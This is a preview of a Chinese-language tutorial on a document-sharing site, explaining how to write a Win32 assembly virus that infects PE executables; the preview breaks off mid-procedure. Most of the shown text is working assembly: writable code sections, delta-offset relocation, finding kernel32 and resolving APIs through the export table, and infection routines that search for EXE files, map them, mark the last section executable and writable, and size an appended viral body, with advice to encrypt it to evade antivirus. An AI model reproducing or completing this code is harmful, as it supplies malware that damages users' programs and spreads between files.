logo资料库

WIN32 汇编写病毒感染PE文件.docx

第1页 / 共14页
第2页 / 共14页
第3页 / 共14页
第4页 / 共14页
第5页 / 共14页
第6页 / 共14页
第7页 / 共14页
第8页 / 共14页
资料共14页,剩余部分请下载后查看
WIN32 汇编写病毒感染 PE 文件 近来没事学习了下病毒技术,看到网上好多年青人对这个比较感兴趣,那就写出 来大家分享下吧。 1 前提知识 a.熟练 WIN32 ASM 语言,不会 ASM 就难得写出感染 PE 的病毒。比如“熊猫”, 就不是 ASM 写的,他感染 PE 就是个捆绑机。 b.熟悉 PE 文件的格式,不了解 PE 怎么写病毒,病毒就是修改 PE 文件。具体怎 么改,下面再说。 c.熟悉 WINDOWS 编程,最好是用 VC 写过程序。对进程,多线程,文件操作都很 熟,也就是熟悉 SDK 编程。 d.会基本的软件调试工具,比如 W32DASM,OD。不会调试,恐怕难得写个感染 PE 的病毒。 e.有耐心和细心,对,就是一颗好奇并且喜欢搞恶作剧的心。 f.SEH 异常的学习,病毒程序容易崩溃,程序异常处理很有必要。罗云彬的书有 介绍。 上面是基本的知识。学到后面恐怕难免要学习驱动技术。 2 写病毒的工具 a.语言编译器 我用的 MASM,这个可以在罗云彬的网站上下载。也有很多人用 TASM,不过,我觉 得都差不多。 b.调试器 我开始用的是 win32dasm,后来也用 OD.原因是他们简单好用。 c.介绍 PE 格式的书籍和参考书 本人推荐 罗云彬的大作 上面有 PE 格式。 计算机病毒与反病毒技术——重点大学计算机专业系列教材 这个也不错,上面 有个感染 PE 的爱虫病毒。 3 病毒的编译 一般来说,病毒只有一个节,就是.CODE 节。这个节是可写,可读,可执行的。 我们知道,正常文件都有很多个节,有的节不可写,有的节不可读。但是病毒一 般就一个,这是因为病毒感染其他正常 PE 文件时,病毒的代码要插入被感染程 序的代码段中,无论数据,代码,甚至是 API 函数 都是自己带入附带的。 看下面的介绍: --------------------------------------------------------------------- .code start: xor eax ,eax xchg eax ,cout ret cout dd 00001234h end start --------------------------------------------------------------------- 这样的代码你可以编译,可以连接,但就是不能运行。调试 错误说出了一个“不 允许的写操作”
这是因为 EXE 文件的代码段是不可写的。这就是有些人拿网上的病毒代码连接但 总是无法运行的原因。 解决的方法有两个: <1> . 单独定义一个段 如 --------------------------------------------------------------------- .code haha segment para use32 start: xor eax ,eax xchg eax ,cout ret cout dd 00001234h ;这样定义在 .code 内的变量就可以写了。 haha ends end start 程序就可以正常的运行。 --------------------------------------------------------------------- <2>.连接时候用 section 属性来定义代码段可写 link /subsystem:windows /section:.text,w XXXX.obj 这样就可以把变量定义在代码段内,很多病毒就是这样来搞的。 这就是病毒的编译法子。我用的法 2,不过爱虫病毒用的好像是法 1. 4 病毒感染 PE 技术 A 重定位 为什么要重定位,相信有写病毒能力的人应该都心中有数。重定位的技术在罗云 彬的进程隐藏和 PE 文件中讲的很详细。具体的来龙去脉我不多讲,不懂的先要 恶补了。代码如下:: ++++++++++++++++++++++++++++++++++++ call @base @base: pop ebx sub ebx ,offset @base ++++++++++++++++++++++++++++++++++++ 那么 EBX 中间就是代码的偏移差了。 以后调用 全局变量的时候都要这样 [ebx + offset XXXX] 如 lea ecx , [ebx + offset szGetProcAddress] 有的人喜欢把其他寄存器作为偏移差,这样不好。老罗的书中说了,用 EBX 比较 好,原因是其他程序用的少,病毒执行快。 B 病毒调用 API 函数的问题 请严格看罗云彬的大作里面的介绍。另外 “无花果”的网站里面也有相关的介 绍。 严格说,病毒的代码是流动的,不是一个完整的程序框架。病毒调用的 API 都要 自己到导入库中加载函数的导入地址。 要获取函数地址必须使用 LoadLibrary,GetProcAddress 和 GetModuleHandle 函数,但这些函数地址又从哪里得到呢(这就好像一个“先有鸡,还是先有蛋” 的问题),幸亏这些函数都存在于 Kernel32 库中,Kernel32.dll 库文件和
User32.dll,Gdi32.dll 一样,都是最常用的库,在不同的进程中,系统会将它 们装入到同样的地址中,所以对于它们来说,在本地进程中获取的地址可以用在 远程线程中。 各个程序的要导入的系统内库(DLL,如 KER32)在系统的内存空间都是独立的, 因而在程序中加载的地址也是不同的。幸好的是, ker32dll 在整个系统中的地 址是不变的,有点像程序内存共享的味道。我们首先要做的是自己找到 ker32dll 的基地址。进而从这个基地址开始 找到 GetProcAddress 的函数地址。有了这个 函数以后,我们就可以加载其他 API 函数的入口地址了。系统内存中的 KER32DLL 是什么呢,注意不要忘了,它不过也是一个 PE 文件,它的内部结构和 PE 文件是 没有任何差别的。(提醒大家一下。有人问我,它拿人家的程序,不知道指向 KER32 的 ESP 现在的地址在那里了,答案就在这里。) ++++++++++++++++++++++++++++++++++++++++++++++++++++ 找到 ker32dll 的基地址 _getbase proc uses esi edi, besp local @re mov @re ,0 mov eax ,besp and eax ,0fffff000h mov esi ,eax @@: sub esi,1000h cmp word ptr [esi] ,'ZM' jnz short @b movzx edi ,word ptr [esi + 003ch] add edi ,esi cmp word ptr [edi] ,'EP' jnz short @b mov @re ,esi mov eax ,@re ret _getbase endp 看到上面函数有一个参数 在病毒开始是这样调用 push [esp] call _getbase 原因是程序开始的时候 ESP 里面的地址是在 KER32DLL 里面的。记住,KER32DLL 是个 PE 文件,品味一下这话的含义。 这里不多说,详细的细节参考罗云彬的大作。(但老罗没教你写病毒喔) ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ;下面这个函数找 API 函数的入口地址,了解 PE 结构对着看 _getpro proc uses esi ebx ,hmod , lpapi
local @strling ,@return,@@@1 xor eax ,eax or eax ,0000000fh mov @strling,eax mov esi , hmod add esi ,[esi + 003ch] assume esi:ptr IMAGE_NT_HEADERS mov esi ,[esi].OptionalHeader.DataDirectory.VirtualAddress add esi , hmod assume esi:ptr IMAGE_EXPORT_DIRECTORY ;倒出表 mov ebx,[esi].AddressOfNames add ebx,hmod mov @@@1 ,esi @@: mov esi , lpapi mov edi , dword ptr [ebx] add edi , hmod mov ecx ,@strling cld repz cmpsb jz @sucess add ebx , 0004h jmp @b @sucess: mov esi ,@@@1 sub ebx , [esi].AddressOfNames sub ebx ,hmod shr ebx ,1 add ebx, [esi].AddressOfNameOrdinals add ebx, hmod movzx eax ,word ptr [ebx] shl eax ,2 add eax ,[esi].AddressOfFunctions add eax ,hmod mov eax ,dword ptr [eax] add eax ,hmod mov @return ,eax assume esi:nothing mov eax ,@return ret _getpro endp ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 上面的函数很明显,到内库 DLL 中的内存空间中去寻找导出函数。我们下用用这
个函数找了很多 KER32 中我们要用的函数,包含感染,传播等等一系列的 API。 当然,我在调试病毒的初期,还找了 User32.dll 中的一些函数,如 MessageBox 用来弹出对话框,验证我的病毒是不是成功进入了 EXE 文件的体内。 调用上面的函数找到 GetProcAddress 的基地址 注意这里有两个参数,一个是指明函数的名称,一个是函数所在的模块(DLL) lea ecx , [ebx + offset szGetProcAddress] push ecx push eax call _getpro mov [ebx +_GetProcAddress ] ,eax ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 得到了 GetProcAddress 的基地址,就可以一股脑儿的加载所有要用的 API 函数 的入口地址了。 相信写过嵌入式 DLL ,或是远程线程插入的 朋友们都能理解这里。没写过的要 补习下了。 这里有个问题,比如下面的代码 szCreateFile db "CreateFileA",0 szWriteFile db "WriteFile",0 为什么 CreateFile 这个 API 函数在导入库中按照函数名称找地址时,后面加 A 呢?。szWriteFile 这个又没加。还有的加的是 W. 看过爱虫病毒代码的人也会与这样的疑问。 到底是加什么呢,关键还是要到 MASM 安装目录下面的 INC 文件里面去看了。打 开相应的导入库,找到里面的函数,看看他的原型就知道加什么了。用 TASM 的 朋友们估计也是一样的。 C 对齐问题 PE 里面的节的长度还有什么内存文件的长度都是按照一定的大小对齐的。 内存中节的对齐度和文件映射内存中的对齐度(1000H),都是有相关规定的。 IMAGE_OPTIONAL_HEADER32 结构中的 SectionAlignment 字段和 FileAlignment 字段,对照着 PE 结构看看。下面给出一个对齐的函数。 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ src 是对齐的基本单位,dion 里面是带对齐的大小,EXC 返回就是对齐后的大 小了 _align proc uses eax edx , src :dword,dion :dword local @retu mov eax ,src xor edx ,edx div dion test edx ,0ffffffffh jz @f inc eax @@: mul dion mov @retu ,eax mov ecx,@retu
ret _align endp ++++++++++++++++++++++++++++++++++++++++++++++++++++ D 查找感染 以下给出感染的具体思路和过程,给出部分代码。 1 找到要感染的文件 ,创建文件内存影像,在内存中修改 PE 文件 2 感染文件,一般是在程序的代码段后面加入一段病毒的代码,或是添加一个新 的节(这种法子听起来很好,但是杀软容易发现) 3 计算新文件的节的多少,节的大小,新的入口点,什么的一系列参数,重新写 入程序。 中间计算入口点代码和一系列修改参数有点复杂。还要写入感染过的标志,不能 重复感染。记得写第一个病毒的时候我学 CIH 的修改了 00PE 前面的 00 为感染标 志。结果病毒感染后的文件运行就报错不是一个 PE 文件了。 查找要感染的文件(EXE 类型) lea eax ,[ebx + offset qqre] ;说来惭愧,之所以叫 qqre,当时就是想搞腾 讯的鬼。 push eax lea eax ,[ebx + offset dition] push eax call [ebx +_FindFirstFile] cmp eax ,INVALID_HANDLE_VALUE jz _SafePlace ;找不到文件,结束查找 (下面没有给出这个标号,省略了,因 为涉及了 SHE 的知识。) 声明一下,call [ebx +_FindFirstFile] 。其实就是我们病毒内存中找到的 FindFirstFile 函数的调用地址。利用前面的 GetProcAddress 把系统中的 FindFirstFile 调用地址放到了病毒的全局变量_FindFirstFile 中,无外乎就是 调用 API 函数罢了,参数含义都一样。以后的都是类似的,不再重复。什么你看 不懂,基础太差,先恶补下基础。 打开找到的文件 push NULL push NULL push OPEN_EXISTING push NULL push FILE_SHARE_READ or FILE_SHARE_WRITE push GENERIC_READ or GENERIC_WRITE lea eax , [ebx + qqre. cFileName] push eax call [ebx +_CreateFile] cmp eax ,INVALID_HANDLE_VALUE jz @findend ;找到了文件,但是打不开 mov [ebx + @hfile] ,eax 下面开始修改 PE 文件,为了快速,一般是在文件内存影像中进行的。这里有个关 键问题要注意了,内存影像的文件是怎么样的呢?答案是和磁盘上的文件是一样 的。不要认为文件到了内存,就要按照 PE 装入内存文件那样,对齐度什么的变
化了。细节决定成败,一点不假。 创建文件映射对象 push NULL push 0 push 0 push PAGE_READWRITE push NULL push [ebx + @hfile] call [ebx +_CreateFileMapping] test eax ,eax jz @closewen ;不能创建文件映射对象 把文件读入内存 mov [ebx +hmaping] ,eax push 0 push 0 push 0 push FILE_MAP_WRITE or FILE_MAP_READ push [ebx +hmaping] call [ebx +_MapViewOfFile] test eax ,eax jz @closemap ;创建了文件影射,但是不能把文件搞到内存去 上面说了,具体感染的法子有很多。最常见的就是在最后一个代码节段的后面追 加一段代码,最好再加密一下,这样的效果其实很好。其他的比如加一个新节, 都是类似的了,不过效果反而不好,杀软可不是吃素的。当然 CIH 那样的,附加 节的缝隙中,寄生虫一样,那样更难,不考虑。 下面谈下具体要改那些地方。怎么改,那就要各位对着 PE 的格式去慢慢寻找了。 毕竟想写病毒不吃下苦,不熬下夜估计是不行的。我写第一个病毒版本之前,琢 磨了半个学期,完成病毒编写花了将近半个月。所以,思考远比蛮干重要。 接着上面的代码下来。 mov [ebx +pmaping] ,eax ;得到文件在内存映射中的地址 mov esi,eax ;esi 指向文件头(DOS 可执行文件标记,为“MZ”) mov eax , dword ptr [esi+ 003ch] ;把文件头到 PE 头的距离保存起来,其实 要注意了,这里是相对的距离,看看 PE 结构 mov [ebx + pe_tou ],eax add esi ,eax ;到 PE 头(文件头加了刚刚的相对距离) mov eax ,dword ptr [esi+0038h] ;内存中节的对齐度 (IMAGE_OPTIONAL_HEADER32 STRUCT 中了) mov [ebx + @secalign] ,eax ;把这个节对齐度保存起来,后面要用 mov eax ,dword ptr [esi+003ch] ;文件中节的对齐度 mov [ebx + @filealign],eax ;把这个节对齐度保存起来,后面要用 上面注意了,一个是内存中节的对齐度,一个是文件(硬盘中)节的对齐度。要
是你病毒不能正确的感染,考虑下这里的细节错了没有。写病毒,心粗的人不要 来。 movzx eax , word ptr [esi+0006h] ;得到文件的节的个数 dec eax ;减一个节 imul eax ,eax,28h ;除去一个节后所有节表的长度,(IMAGE_SECTION_HEADER 长 度就是 28h,可以看看 PE 文件) add eax ,[ebx + pe_tou] ;再加上文件头到 PE 头的距离 add eax ,18h ;再加上 IMAGE_FILE_HEADER 和 “00PE" movzx ecx , word ptr [esi+0014h] ;取 IMAGE_OPTIONAL_HEADER32 结构的长度; add eax ,ecx ;得到所有头加除去最后一个节表物理长度(相对的) mov [ebx + @@1],eax ;@@1 中是从文件头到最后一个节表开始的长度 add eax ,[ebx +pmaping] ;到了最后一个节表在内存中的位置 上面干了那么多事,不会白忙活了吧。其实上面就是定位到最后一个节表在内存 中的位置。因为我们的感染方式是在代码节的后面加上一段病毒代码,所以要找 到最后一个节的位置了。有的人要问了,最后一个节表就是代码段吗?要不是怎 么办呢?我管你是不是呢,我加上去了再说,再把你的属性搞的和可执行的代码 段一样,你不是代码段我都把你整成个代码段,实在是够绝的。 assume eax:ptr IMAGE_SECTION_HEADER mov [eax].Characteristics ,0E0000060h ;把节属性搞的可写可读可共享 mov edx ,[eax].PointerToRawData ;得到最后的节在磁盘中的偏移(开头) add edx ,[eax].Misc.VirtualSize ;最后的节的尾部在磁盘中的偏移(加了长 度) add edx ,myviruslg ;最后的节加毒后尾部在磁盘中的偏移(节加了我的病毒代 码 myviruslg 是我的病毒代码的长度) push 1000h push edx call _align 按照内存中的对齐单位对齐(这里其实不通用,一般对于 Win32 来说,这个值是 4 Kb(1000h),而对于 Win64 来说,这个值是 8 Kb(2000h)其实还是写作 IMAGE_OPTIONAL_HEADER32 结构中 SectionAlignment 的值比较好,这就是一个 通用病毒了) mov [ebx + @virusleng] , ecx ;得到了文件映射到内存中的对齐过的长度 同样了,下面是按照磁盘中的对齐单位对齐。 push [ebx + @filealign] push edx call _align mov [ebx + @virusfilelg] ,ecx 接下来要调整文件大小,为什么是这样呢,慢慢想想,品味下罗云彬有关 PE 的 介绍吧。给出代码后我们再解释。 push FILE_BEGIN ;调整文件大小
分享到:
收藏